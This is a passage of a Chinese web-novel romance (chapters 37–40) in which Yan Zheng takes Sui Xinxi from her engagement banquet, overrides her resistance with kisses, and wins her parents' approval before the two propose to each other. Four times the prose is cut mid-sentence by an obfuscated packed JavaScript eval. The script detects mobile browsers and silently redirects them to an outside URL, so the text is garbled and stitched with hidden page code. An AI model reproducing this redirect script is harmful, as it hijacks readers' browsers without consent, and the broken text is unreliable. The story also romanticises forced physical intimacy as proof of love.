隋心喜深深呼吸着,侧头看着坐上了驾驶位的晏铮,终于找回自己的声音,“你要带我去哪?” 晏铮没回答,一脚油门下去,车子像离弦的箭一样窜出车位。 车库里柱子很多,他的车速却快得吓人,每一次转弯都带着不管不顾的狠厉。 隋心喜手心里全是冷汗,不由地抓住了车门扶手。 37. 第 37 章 轮胎蹭着路牙石,发出一声刺耳的摩擦,车子停住了。 隋心喜被安全带勒得胸口一闷,心也跟着晃悠。她喘了口气,这才扭头看向车窗外。 斑驳的居民楼,墙皮掉得一块深一块浅,楼下的大树还在。这不就是她之前租的小区吗? “你来这里干嘛?”隋心喜半年前搬走的时候,还特意问过房东,他说晏铮也不续租了。 晏铮没有回答。他解开安全带,下车绕到副驾驶那边,大力拉开车门。 隋心喜看着他,试图从他脸上找到一点点熟悉的温顺影子,但什么都没有。 她本能地觉得危险,“晏铮,我们谈谈好不好?” 话音刚落,晏铮便俯身进来,一条手臂穿过她的膝弯,另一条手臂揽住她的后背,直接将她从座椅上抱了出来。 这太疯了! 隋心喜能感觉到路边有人投来的目光,这让她恨不得原地消失。 “你放我下来,有人看着呢!”她惊呼出声,手脚并用地挣扎着,高跟鞋也差点甩掉一只。 晏铮对她的推攘像没感觉。他用脚踢上车门,抱着她,转身就朝单元门走去。 楼道里一股子潮湿的霉味,混着不知道哪家炒菜的油烟味,跟隋心喜记忆里的一模一样。 感应灯大概又坏了,只有高处窗户透进来点昏暗的光。 老楼没电梯,楼梯又窄又陡,晏铮开始一步一步往上爬。 隋心喜被他横抱着,头贴在他胸口,能听到他心脏在胸腔里狂跳,跟他那副冷冰冰的样子完全对不上号。 这感觉太混乱了,她索性不挣扎,僵硬着身体,任他抱着往上走。 爬到四楼,晏铮在那扇熟悉的贴着褪色福字的防盗门前停下。 门开了,屋里没灯,只有月光洒在客厅的地板上。 隋心喜的眼睛逐渐适应了屋内的光线。 她诧异地发现,屋内的摆设和她搬走时差不多。就连那张她用来工作的小折叠桌,也还在墙角立着。 晏铮终于把她放下。 她想着呼吸新鲜空气,往后退了两步,他却以为她要逃走,又扣住了她的后脑勺和腰,滚烫的嘴唇压了过来。 不可以!她不能这么不清不楚! “唔……放……开!”隋心喜挣扎着偏开头,声音从嘴唇的缝隙里挤出来。 她用尽全身力气,双手抵在晏铮硬邦邦的胸膛上,猛地向外一推! 晏铮大概没想到她反抗这么激烈,被推得向后一个趔趄,松开了她。 两人沉默了几秒,只有呼吸声在屋子里拉扯着。 突然,隋心喜隐约看到晏铮脸颊的位置,有微弱的反光。 她愣了一下,随即听到了压抑的抽气声。 “你就……这么讨厌我吗?”晏铮开口,声音嘶哑得完全变了调。 那点微弱的光又闪了一下,这次隋心喜看清楚了,是一滴又一滴的眼泪,顺着他紧绷的下颌线滑落下来,砸在地板上。 在隋心喜的记忆里,晏铮很小就不爱哭了。 就算是他爸妈刚没那会,他被那些亲戚欺负得很惨,也只是咬着牙,眼睛红得像兔子,硬是一声不吭。 后来他长大了,在她面前总带着点笑,像只温顺的小狗。 她努力定了定心神,但声音也哑了:“你今天为什么在酒店那样带走我?又为什么把我弄到这个全是过去影子的老房子里?就为了……为了对我做这种事?” 晏铮的呼吸停滞了一瞬。他抬手,胡乱地在脸上抹了一把,眼泪似乎止住了,但破碎的哽咽感还在喉咙里。 又是令人窒息的沉默。时间一点点爬过去,每一秒都像被拉长了。 “我害怕”,他终于再度开口,带着浓重的鼻音,“怕你结婚了,怕你不理我了,怕以后再也见不到你了。” 这不是隋心喜预料中的答案。但他的恐惧如此直白,如此卑微,像一把生锈的钥匙,猝不及防地捅进了她心里的角落。 这一刻,他不是那个在生意场上说一不二的年轻老板,只是一个十岁就家破人亡,只有隋心喜给过暖和光的晏铮。 就在隋心喜心神震动时,晏铮眼里的脆弱,被更滚烫的东西所取代。 他再次上前,将她勒进怀里,贴着她耳边道:“隋心喜,我试过放你走,试过看你和别人在一起。可是我很难受,难受得快要死了。” 他的拇指用力摩擦着她手腕内侧细嫩的皮肤,激起她一阵阵的战栗,“你是我的,从来都是。” 他开始吮吸她的下唇,带着惩罚和标记的意味,然后舌尖蛮横地撬开她因为惊愕而微张的齿关,长驱直入。 他的吻变得狂乱,带着要把她生吞活剥的凶狠,却又夹杂着颤抖和渴求,像是溺水的人抓住最后一根浮木。 他掠夺着她的呼吸和思考能力,烟草的苦涩混合着他眼泪的咸涩,弥漫开来。 隋心喜被他反剪着双手,鼻间口腔里全是他霸道的气息。 复杂的情绪像潮水一样淹没过来,有心疼,有委屈,有长久以来的压抑,还有一种被此刻的亲密接触点燃的深埋渴望。 她挣扎的力道,不知不觉间,消失了。 晏铮感觉到这细微的变化,心头一阵狂喜,试探着松开了对她的钳制。 她缓缓睁开蒙着一层水汽的双眼,然后做了一个让晏铮不敢相信的动作。 她的手指摸索着,抓住了晏铮衬衫的前襟,用力一扯,几颗纽扣应声崩开。 这个回应像一桶滚油,浇在晏铮本就熊熊燃烧的□□上。 他不再给她任何思考或退缩的空间,手也不满足于仅仅抱着她。 隋心喜闷哼出声,感觉自己像一块被放在热铁上的黄油,正在他霸道的掌心和亲吻下迅速融化。 所有的理智、所有的顾虑、所有的分离和痛苦,都在这一刻被汹涌而至的情欲洪流冲刷得七零八落。 她仅存的意识告诉她,她想要这个。 想要这个从小一起长大、让她心痛又放不下的男人。 就是现在,就是这里。 —————————— 天亮了,窗帘缝里透进来的光线刺得隋心喜眼皮发酸。 她想坐起来,却发现浑身骨头都像被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602807|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拆开又装回去,酸疼得厉害。尤其后腰和腿根,又沉又木。 她偏过头,晏铮就躺在旁边看她,眼内血丝未退。 她揉了揉眼睛,问:“你一晚上没睡?” 晏铮没回答这问题,胳膊一伸就把她往怀里搂,动作快得像怕她跑了。 “对不起”,他声音闷闷的。 隋心喜没明白这道歉从哪来的,“什么?” “昨晚的事,对不起,我不该那样强迫你”,晏铮抱得更紧了点,下巴蹭着她发顶,“但我真的受不了你再从我眼前消失。之前那半年够长了,长得我快疯了。” “你可以恨我怨我,我都认了。你如果还想跟王贤结婚也可以,我不会阻拦”,他这话说出来,自己都觉得刺耳,“你只要留个位置给我,偶尔想起我就来找我。” 隋心喜怔住了。她知道晏铮从小到大都有很强的自尊心,但没想到,他宁可做见不得光的第三者,也要留在她身边。 她的眼眶止不住地发热起来。她和他拉开一点距离,认认真真地告诉他:“晏铮,我不会和别人结婚。” 晏铮神色僵住了,显然不敢相信。 隋心喜吸了吸鼻子,抬起手,摸了摸他刺刺的下巴颏儿,重复道:“我不跟王贤结婚,以后就只和你在一起。” 晏铮直愣愣地看着她,眼圈以肉眼可见的速度泛红,泪水滑落。 大概觉得不好意思,他又把脸深深埋进她颈窝,身体却控制不住地抖着。 隋心喜心中又软又涩,像被泡在温水里。 她没再说话,只是用手臂环住他,一下一下拍着他的背,像很多年前安慰那个缩在她家沙发角落里沉默的小男孩一样。 就这么抱了好一会,晏铮的情绪才慢慢平复下来。 他的眼睛和鼻头都红红的,像只委屈的大狗。 他低头又想亲她,却被她偏开了头。 她有些羞赧地开口,“不要了,身上有点……难受,我得去洗澡。” 晏铮却没有一点松劲的意思,“是不是昨晚太累了,我抱你去。” 他说着,根本不等她回答,直接手臂一用力,就把她从被窝里抱起来。 “哎,我自己能走!”隋心喜吓了一跳,本能地搂住他脖子。 “乖点。”晏铮不理会她那点微弱的反抗,几步就进了浴室。他调好水温,热气慢慢弥漫开。 隋心喜认命了。她刚去拿沐浴液,他就接替了她的动作。 热意迅速蔓延开来,昨晚混乱炽热的记忆碎片不受控制地在脑子里闪回。 她鸡皮疙瘩都起来了,扭着身子想避开,他的气息却追着不放。 他甚至故意恶劣的发问:“怎么洗不干净?” 隋心喜再也控制不住,眼泪混着花洒的水流一起往下淌,哭求破碎不堪,每一根神经都在疯狂跳动。 最后的结果,就是他看着怀里瘫软的女人,眼底的暗色浓得化不开。 他关掉花洒,用浴巾裹住她湿漉漉的身体,再次把她抱了起来。 隋心喜这下连抗议的力气都没了,只得任由他抱回那张凌乱的大床。 38. 第 38 章 晏铮把车停在老家小区楼下,熄了火。 他手指在方向盘上敲了敲,深吸一口气。该来的总得来。 他刚走到隋心喜家门口,还没来得及按门铃,就听见里面吵架的声音。 庞夏蕊怒火中烧,“隋心喜电话不接信息不回,这都几天了?她跟晏铮到底怎么回事,你当爸的一点不着急啊,我要去报警你拦什么拦?” “哎呀,你小点声,小点声!”隋涛原的声音紧跟着响起,“我能不着急吗,我这不是也在想办法联系吗?心喜是大人了,她有分寸……” “有分寸?有分寸能让人在订婚宴上直接拽走?这叫有分寸?”庞夏蕊的声音拔得更高了,“王贤那孩子怎么办,人家做错什么了?还有晏铮,我就知道这小子没安好心!他现在翅膀硬了,敢这么干,把心喜当什么了,把我们当什么了?” 晏铮皱眉听着,不再犹豫,按下了门铃。 屋里的争吵声戛然而止。几秒钟后,门被拉开一条缝,庞夏蕊带着怒气的脸出现在门后。 她看清楚了是晏铮,一把将门完全拉开,指着他的鼻子骂:“你还有脸来啊?你把心喜藏哪儿了?” 隋涛原也赶紧走到门口,伸手去拉晏铮,“小铮来了啊,进屋再说。” 庞夏蕊扭头瞪了隋涛原一眼,他的手顿在半空,讪讪地收了回去。 晏铮没等庞夏蕊再发难,直接迈步进去。 他停在客厅中央,转过身,面向庞夏蕊和隋涛原,双膝直接跪在了地砖上。 “叔叔阿姨对不起”,晏铮抬起头,直视着庞夏蕊愤怒的眼睛,“让你们担心了,都是我的错。” 庞夏蕊张了张嘴,似乎被晏铮这一跪给堵住了话头,但很快地,怒火再涌上来,“你少来这套,跪也没用!心喜呢,你到底把她怎么了?” 晏铮立刻回答,“她没事,现在在一个安全的地方,情绪很稳定。是我带她走的,因为我有话必须跟她说清楚,在那个场合没法说。” 庞夏蕊气得胸口起伏,“你知不知道那天是什么日子?订婚宴!你拉着她就跑,你想过她的处境吗?想过别人会怎么说她吗?风言风语能淹死人你知不知道?你让她以后怎么做人?” 她越说越激动,手指都在抖,“你这么做,只会让我觉得你更不靠谱!” 隋涛原在一旁想插嘴:“夏蕊,你消消气,听听小铮怎么说……” “你闭嘴!”庞夏蕊立刻吼了回去,眼睛依然盯着晏铮,“你说,你给我说清楚!” 晏铮没有回避她的目光,依旧跪得笔直:“阿姨,您骂的对。那天的事,是我考虑不周,做法太冲动,太不体面。我向您和叔叔道歉,更向心喜道歉。给她带来困扰,让您二位担心,都是我的责任。” “但是叔叔阿姨,我晏铮今天跪在这里,是想求你们一件事。求你们同意让我和心喜在一起,我会尽我所能来照顾她、保护她,让她过得好。这辈子除了她,我谁都不要。” 庞夏蕊被他这直白的承诺噎了一下,但很快反驳,“你说得好听,你怎么照顾?你开那个公司,谁知道哪天就……” 晏铮早有准备。他从公文包里掏出一个文件袋,抽出里面的文件递给庞夏蕊。 “阿姨,这是我名下所有财产的清单和转让协议。维恒的股份、我个人的存款、投资,还有对面那套房子……所有我能动的资产,转让文件都在这里。我已经签好字了,只要心喜签字,这些东西就都是她的。这是我目前能给的最大诚意。” 庞夏蕊完全没想到晏铮会来这一手,怔在原地。 隋涛原也凑近了些。他扶了扶老花镜,看清了文件上的文字,倒吸一口凉气:“小铮,你这……这太……” 庞夏蕊没接文件,只是看着它,又看看晏铮那张年轻却异常认真的脸,扶着旁边的沙发扶手,慢慢坐了下来。 她的胸口还在起伏,但气势明显弱了,“你倒是准备得充分,但你以为这样就行了?” 晏铮跪行几步,到她面前,“我知道钱不够证明什么,但我希望您能看到我的决心。我不是一时头脑发热,我是真的想和心喜在一起。” 隋涛原终于找到机会开口,他坐到庞夏蕊旁边,拍了拍她的背:“夏蕊,你看小铮这孩子,能做到这一步,不容易。他是真心实意想对心喜好。咱们看着他长大的,他是什么人,你心里其实也有数。那件事是做得欠妥,可年轻人,为了感情冲动一回,也不是不能理解。” 庞夏蕊这次没立刻反驳丈夫。她沉默了好一会儿,目光复杂地看着晏铮。 终于,她再度开口:“晏铮,我不是非要棒打鸳鸯。我反对你们在一起,最大的原因不是钱,也不是你公司怎么样。” 她叹了口气,“是因为心喜她太在意你了。” 这理由完全出乎晏铮的意料,他很是不解地看着庞夏蕊。 庞夏蕊苦笑了一下,告诉他实话,“你可能不知道。心喜大四那年,我们跟她提过,想送她出国深造,去她一直想去的学校。可她拒绝了,她说国内发展也挺好,不想离家太远。当时我们都没多想,可后来有一次我帮她收拾东西,看到她压在书底下的一张照片,那是你高中和同学的合照。她把你那部分,用笔特别小心地圈了出来。” “我当时就明白了。她心里有你,份量很重,重到可以影响她人生的重要决定。晏铮,我是她妈,我怕啊!我怕她把你放在她自己前面,怕她为了你委屈自己,怕她将来失去自我。我就这么一个女儿,我只希望她开心,希望她爱别人之前,先好好爱自己。你明白吗?” 晏铮跪在那里,感觉滚烫的热流从胸腔直冲头顶,让他眼眶都有些发酸。 他深吸一口气,眼神无比诚恳,“阿姨,我明白了,真的明白了,谢谢您告诉我这些。我向您保证,我绝不会让心喜受委屈,绝不会让她因为爱我而失去自我!我希望她永远是她自己,是那个最快乐的隋心喜。我爱她,就是爱她本来的样子,我会支持她做任何想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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庞夏蕊哼了一声,看看旁边一脸欣慰的丈夫,心里那点最后的不甘也淡了。 她忽然觉得有点口渴。折腾半天,嗓子都冒烟了。 她对着厨房的方向抬了抬下巴,“给我倒杯水来,要温的。” “哎,好,马上!”晏铮小跑着冲向厨房。 他太熟悉这里了,很快找到杯子。他打开饮水机接水,用手背试了试温度,感觉正好。 他双手端着水杯递给庞夏蕊,“阿姨,您喝水。” 庞夏蕊接过来,温水流过干涩的喉咙,舒服多了。 她看着晏铮还毕恭毕敬地站在自己面前,像个等待指示的新兵。她又指了指客厅角落的绿植,“那发财树该浇水了,叶子都蔫了。” 晏铮应了一声,立刻去找水壶。 “壶在阳台!”隋涛原提醒道。 晏铮快步走向阳台,刚拿起水壶,门口传来钥匙插进锁孔转动的声音。 隋心喜拎着个包,心事重重地走了进来。 她一抬头,就看到客厅里的景象:妈妈靠在沙发上,脸上表情有点怪,像是刚发完火又有点累;爸爸坐在旁边,一副似笑非笑的样子;而晏铮正拿着个浇花的水壶,看着她是欲言又止。 隋心喜的目光在晏铮和她妈之间来回扫了两下,第一反应就是晏铮被为难了。 39. 第 39 章 隋心喜鞋都没来得及换,几步就冲到阳台,拿过晏铮手里的水壶。 她挡在晏铮前面,像是护崽的母鸡,气鼓鼓地问庞夏蕊,“妈,你干嘛呢?” 庞夏蕊很平静地看了自家女儿一眼,“我干嘛?让他帮我干点活儿怎么了?我这老腰最近不太舒服,淋个花都费劲。” 隋心喜根本不相信这套说辞,“妈,你不舒服的话告诉我,我认识个很好的理疗师傅,可以请假陪你去看。” 她转身拉住晏铮的手,让他站在自己身边,“我们现在已经在一起了,你不要为难晏铮,他对我很好。是,那天他是冲动了点,可那是因为他在乎我,他怕我真的跟别人结了婚。” 晏铮被她这一通突如其来的维护弄得有点懵,心头却像被滚烫的糖浆浇过,又甜又胀。 他侧头看着这个为了他跟亲妈“叫板”的女人,她脸颊因为激动泛着红晕,嘴唇紧抿着。 他更用力地握紧了她的手,指腹在她手背上摩挲着,低声道:“阿姨没为难我呢。” 庞夏蕊看着眼前紧紧依偎在一起的两人,脸上的冰霜像是突然被阳光晒化了。 她有点哭笑不得,“在你眼里,你妈就这么不讲道理?” 隋心喜那股冲天的气势也卡壳了。她眨巴着眼睛,“啊?那你让他干活……” “他自己说的要照顾你一辈子,现在淋个花就受不了了?”庞夏蕊白了隋心喜一眼,“晏铮这孩子,也是我跟你爸从小看着长大的,人品怎么样,心里能没数吗?” 她顿了顿,又埋怨道:“你们两个啊,当初要是早点跟我们说说心思,哪至于后面闹出这么多幺蛾子?白白浪费了时间不说,还耽误了王贤!人家招谁惹谁了,平白无故被你俩当枪使,回头还得应付他爸妈。” 妈妈虽然还在嘴硬地数落,但话里话外已经默认了。 隋心喜默默地松了口气,赶紧顺着台阶下:“哎呀,妈,我知道错了嘛!王贤那边你放心,我肯定跟他解释清楚,好好赔罪!” 庞夏蕊看着女儿的小表情,挥挥手,“行了行了,别在我跟前杵着了,该干嘛干嘛去。” “不过”,她话锋一转,又看向晏铮,拿出长辈的威严,“考验期还没过啊,以后该干活还得干活!” 晏铮立刻挺直腰板,态度无比端正:“阿姨您放心,有什么活儿您尽管吩咐。” 隋心喜在一旁看着,忍不住偷偷掐了一下他的腰,换来他一个含笑的眼神。 这事儿算是翻篇了。隋心喜说到做到,立刻就给王贤打了电话。 隔天晚上,江市一家颇有名气的私房菜馆包间里。暖黄的灯光下,精致的小菜摆了一桌。 隋心喜和晏铮坐在一边,王贤坐在对面。 王贤的眼神落在他们从进门到现在就没松开过的手上,故意“哟”了一声,“我说二位,这都要开饭了,手还不撒开呢?这狗粮撒的,生怕别人不知道你们刚热恋是吧,有没有考虑过我这条单身狗啊?" 隋心喜被他逗得脸一红,就想把手抽回来,却被晏铮更紧地攥住了。 晏铮倒是神色坦然,还把两人交握的手放到桌面上,大大方方地展示给王贤看。 他诚恳地开口:“王贤,之前是我误会你,态度很不好。我当时有点失控,还想动手来着。实在抱歉!” 王贤正夹起一块肉放进嘴里,闻言摆摆手,含糊不清道:“还提那茬儿干嘛?多大点事儿!” 他咽下食物,喝了点汤,接着道:“我王贤是那么小气的人吗?只要你俩真成了,我姐妹幸福了,比啥都强!” 隋心喜心里又暖又酸,举起茶杯:“嗯,贤哥最好了,一定一定要敬你一杯。” 晏铮也举起茶杯:“以茶代酒,谢了。” 王贤跟两人碰了一下,一饮而尽。 放下杯子,隋心喜又有点担忧:“对了,咱俩这事儿黄了,你怎么跟你爸妈说啊,会不会有点难办?” 王贤一听,非但没愁,反而得意地晃了晃脑袋:“我就跟我爸妈说,我好爱好爱你,可惜半路杀出个晏铮,硬生生把你从我手里给抢走了!我深受情伤,这辈子都不想再谈婚论嫁了!” 他越说越来劲,一拍桌子:“你们说,这理由是不是绝了?情真意切,合情合理,还能给我爸妈打个预防针。迟点我要是出柜,他们心理承受能力也强点,说不定就接受了!” 隋心喜笑得眼泪都快出来了,竖起了大拇指,“你这脑回路,真是绝了!你别拍短剧了,改行去编剧吧,说不定哪天就有奥斯卡了。” 晏铮在一旁也是忍俊不禁。他第一次觉得这个“戏精”的哥们,确实够义气,也很有意思。 这顿饭吃得轻松愉快。饭后,王贤潇洒地挥挥手,表示电灯泡自觉退散,让小两口自己腻歪去了。 夜晚的城市褪去了白天的喧嚣,路灯在街道上投下温暖的光晕。 隋心喜和晏铮牵着手,慢悠悠地往他们住的地方溜达。 两人都没怎么说话,但紧握的手心和偶尔交汇的眼神,比任何甜言蜜语都让人安心。 走了一段,隋心喜晃了晃晏铮的手,打破了这份宁静,“喂,我有件事情要告诉你。” 晏铮停下脚步,“什么?” 路灯的光映得隋心喜眼睛亮晶晶的。她说:“我辞职信都写好了,明天就交。” “辞职?为什么?在那边做得不开心了?”晏铮知道隋心喜挺喜欢现在的工作,做得也不错。 隋心喜摇摇头,脸上绽开一个大大的笑容,“没有不开心,不过我更想去给自己打工啊!” 她戳了戳晏铮的胸口,“你看啊,你现在人是我的了,对吧?” 晏铮一脸宠溺:“嗯,是你的。” “然后,你的公司,你的房子,你的车,也都是我的了,对吧?” 晏铮嘴角的弧度越来越大,“对,都是你的。” “那不就得了!”隋心喜一拍手,理直气壮道:“你和你的一切都属于我了,那我当然要给自己工作啊!我去维恒给你当助理,或者秘书,或者随便什么职位,反正我得去看着点。这叫肥水不流外人田!” 晏铮看着眼前这个笑得眼睛弯弯的女人,喜悦像烟花一样在胸腔里炸开,绚烂得让他有些眩晕。 他反复确认道:“你真的想好了?你愿意去维恒跟我一起?这样你就得白天黑夜都对着我了。” 隋心喜用力点头,“当然要天天看着你,监督你好好赚钱。” 下一瞬,晏铮将她拉进怀里,紧紧抱住。 他的手臂箍得她有些喘不过气,但那份毫不掩饰的激动,透过紧贴的身体清晰地传递过来。 他低下头,给了她一个吻。 这个吻温柔而绵长,隋心喜闭上眼睛,回应着他。 她只觉得呼吸间都是他清爽好闻的气息,空气里飘满了甜甜的粉红泡泡,让她整个人都晕陶陶的。 隋心喜说到做到,很快办好了离职手续,空降到了维恒人工智能公司,担任了晏铮的特别助理。 她凭借丰富的经验和一股子不服输的韧劲,加上对晏铮行事风格的熟悉,工作上手得很快。 她做起事来很认真,连储 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602809|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉骐都私下跟晏铮夸过:“你这助理请得够值。” 可有人却不那么高兴了。 晏铮发现,自从隋心喜来了公司,她眼里好像就只有那些报表和会议纪要。 以前下班,两人还能腻在一起。可现在她经常在办公室,待到比他这个老板还晚,回到家也抱着笔记本看资料。 他想凑过去亲昵一下,她总说:“别闹,我看完这点”。 两人周末好不容易逛逛街吃个饭,她聊的也都是哪个部门效率低,哪个项目可能有风险。 这天下班时间早过了,大办公区空无一人,只有总裁办公室和隔壁的“特别助理”办公室还亮着灯。 晏铮推开门进去。 隋心喜正蹙眉盯着电脑屏幕,手指在键盘上敲得飞快,显然在处理什么棘手的问题。 灯光打在她专注的侧脸上,有种别样的吸引力,却也透着拒人千里的工作气场。 晏铮走到她的办公桌前,双手撑在桌沿,看着她。 隋心喜这才发现他。她抬头,脸上还带着被打断思路的茫然:“怎么啦?” 晏铮没说话,眼神沉沉地落在她微张的唇上。 下一秒,他绕过桌子,手臂一抄,直接把她从椅子上抱起来放在桌面上,然后用吻封住了她来不及出口的疑问和抗议。 隋心喜手边的文件散了一地。她起初还象征性地推了他肩膀两下,但很快身体就软了下来,像是被抽掉了骨头。 她觉得一股陌生的热流从小腹窜起,喉咙里不由自主地溢出模糊的呻吟,这声音让她脸腾地烧了起来。 晏铮显然也听到了,他稍稍退开一点,额头抵着她的,两人都喘得厉害。 他的目光像带着钩子,从她泛着水光的唇,滑到她那双包裹在黑色丝袜里的腿上。 眼看着他就要下一步动作,隋心喜从意乱情迷中清醒了几分。她按住那只作乱的手,声音还有点不稳:“别……有监控呢!” 她抬了抬下巴,示意角落里闪着红点的摄像头。 这是公司统一安装的安保监控,画面上传到云端,难免不会被后台看到。 晏铮顺着她的目光扫了一眼摄像头,眉头狠狠皱了起来,脸上的欲求不满简直要溢出。 他骂了句脏话,胸膛起伏着,显然憋得够呛。 过了几秒,他才咬着牙,带着点恶狠狠的劲儿说:“行,明天我就找人来把这玩意拆了!” 他松开她,站直了身体,但目光依旧要把她拆吃入腹,“我顺便让人在办公室里再弄个房间出来。” 隋心喜整理着衣服,疑惑道:“干嘛用?” 晏铮扯了扯嘴角,露出一个又痞又坏的笑,“你说干嘛用?当然是方便我们情绪到了。” 隋心喜被他这大胆又不要脸的计划惊得目瞪口呆,随即一股热气直冲脸颊。 她忍不住抓起一个软皮笔记本,作势要打他,笑骂道:“你神经病啊!” 晏铮顺手捞住那笔记本,往前一步,重新撑在她身体两侧的桌面上。 “我是不是神经病,你最清楚”,他低头,诱哄道:“监控明天再弄,现在先收点利息。” 隋心喜这次早有准备,赶紧用手挡住他的嘴,“刚才的报表,我还没有保存。” 晏铮不满地啧了一声,但还是依言停了下来。他看着她手忙脚乱地去够鼠标,睫毛还微微颤动着。 她身上那股熟悉的味道萦绕在鼻尖,让他心中的躁动平息了一些,却又滋生出另一种更深的渴望—— 他想将她独占一生,不容他人窥探半分。 40. 第 40 章 日子像被按了快进键,嗖嗖地往前窜。 转眼距离隋心喜上个“惊天动地”的生日,已经过去整整一年了。 维恒人工智能的招牌在科技园里越来越显眼,办公室也扩了又扩。 晏铮和隋心喜成了圈子里有名的夫妻档。虽然还没办手续,但在所有人眼里,他们早就绑一块了。 而庞夏蕊心里那点怕女儿在爱情里失去自我的担忧,也在隋心喜越来越有主见、在公司和晏铮旗鼓相当的架势里,慢慢放下了。 到了后面,反而是她想试探晏铮打算什么时候结婚。 隋涛原拉住她,劝慰道:“这小子,肯定憋着大招呢。” 他猜对了。晏铮心里一直有个疙瘩,就是去年隋心喜生日那场假订婚宴。 他特别想盖掉它。 用什么盖?用真的,用更大的。 所以他决定了,要在隋心喜今年的生日宴会上正式求婚。他要让这一天以后只属于他们俩,只留下好的记忆。 用技术术语说,这就叫做“覆盖安装”。 于是,他提前两个月就开始鬼鬼祟祟。 先是旁敲侧击地问隋心喜:“哎,今年生日想怎么过,在家吃还是出去?” 隋心喜正盯着屏幕改代码,头也没抬:“都行啊,你定呗,别太麻烦就行。” 晏铮“哦”了一声,转头就在手机上搜求婚场地。 过了几天,他拉着隋心喜“路过”一家珠宝店,指着柜台里一枚设计独特的钻戒,状似无意地问:“这戒指看着还行吧?” 隋心喜瞥了一眼,很客观地评价:“嗯,切割工艺不错,设计感也强。怎么,公司要定制礼品?” 晏铮噎了一下,含糊道:“没有,就随便看看。” 隋心喜嘴角似乎翘了一下,又专心看她的手机邮件去了。 晏铮心里嘀咕,她是不是看出来了? 后面,他开始频繁地外出“跟储嘉骐谈重要项目”,其实是在偷偷联系场地策划,一遍遍修改求婚方案。 他确认菜单、试吃蛋糕,连背景音乐的播放顺序都自己过了几遍。 他定好了戒指,没买店里那枚,是找设计师按他的描述定制的——简约、有力量感,像她。 他的这些动静,隋心喜都看在眼里。 她心里直乐,决定配合他演,装作什么都不知道。 偶尔,她也会逗他一下。 比如他刚挂掉一个策划师的电话,她就凑过去问:“跟谁聊那么久?是不是要开新项目了?” 晏铮立刻有点慌,眼神飘忽:“就一个供应商,谈点细节。” 隋心喜拖着长音“哦”了一声,带点促狭的笑意,看得晏铮心里发毛,赶紧转移话题。 生日前一天晚上,晏铮明显坐立不安。 他在客厅里来回踱步,一会儿检查手机电量,一会儿又去翻看天气预报,还把要穿的衣服拿出来熨了又熨。 隋心喜盘腿坐在沙发上啃苹果,电视里放着无聊的综艺,她其实也没看进去。 她对着晏铮笑出声,“你干嘛呢?明天又不是你上台领奖。” 晏铮顿住脚步,清了清嗓子,试图显得镇定:“没干嘛。明天你生日,不得准备充分点?” 隋心喜抽了张纸巾擦手,慢悠悠地说:“放心吧,一切都好。你赶紧坐下歇会,晃得我眼晕。” 晏铮在她旁边坐下,身体还有点僵硬。 隋心喜自然地靠过去,头枕在他肩上。晏铮手臂环住她,慢慢放松下来。 两人都没说话,客厅里只有电视的背景音。 隋心喜闭上眼,心里暖暖的。她收到了他的心意,她也知道,自己明天,要让他“印象深刻”。 —————————— 终于到了生日当天。 晏铮一大早就醒了,比闹钟还早。他轻手轻脚地下床,生怕吵醒身边的隋心喜。 他溜进卫生间洗漱,对着镜子默念了一遍今天的流程: 上午,他要找借口出去,其实是去场地做最后确认;中午,带她去吃她念叨了好久的餐厅,分散注意力;下午,陪她做个SPA,确保她状态好;傍晚,接她去布置好的求婚餐厅,然后亮戒指、单膝跪地、说词。 完美。 他快速收拾好,回到卧室,隋心喜也起来了。 她揉着眼睛,带着刚睡醒的慵懒,“今天有什么安排啊,晏总?” 晏铮又开始有点不自在,“上午我先去趟公司,处理点急事。下午带你去放松一下,你不是说最近脖子酸?” 隋心喜点点头,“好啊,都听你的。” 晏铮走了,隋心喜打开衣柜,挑了一件剪裁利落的连衣裙,配上晏铮高中时候送的项链,整个人看着精神又大方。 她拿出一个丝绒小盒子,打开看了一眼,放进自己的随身包里。 晏铮中午回来接她的时候,阳光透过车窗洒进来,车里暖洋洋的。 他正要发动车子,隋心喜却叫住了他,“等等,我有东西送你。” 晏铮有点意外,“今天不是你生日吗,怎么想起送我东西了?” 隋心喜从包里拿出准备好的小盒子,“啪”地一声打开,递到晏铮面前,“我们结婚吧。” 晏铮看着那闪着温润内敛光芒的戒指,眼睛都大了。 隋心喜见他这副呆住的样子,心里乐开了花,“我说,晏铮,我们结婚。戒指都给你准备好了。” 她歪了下头,温柔调侃道:“怎么样,弟弟?姐姐这招,没想到吧?” 晏铮的脑子彻底宕机了。 他设想过无数种今晚的场面,唯独没想过会是在这样一个普通的中午,在去吃饭的路上,被她抢先一步,直接KO! 他无奈地摇摇头,半天才找回自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他深吸一口气,站起身,餐厅里的灯光更柔和了,音乐也换成了舒缓深情的曲子。所有人的目光都聚焦在他身上。 晏铮走到隋心喜面前,掏出了那个藏了很久的戒指盒。 他打开盒子,钻戒在烛光和灯光下熠熠生辉。 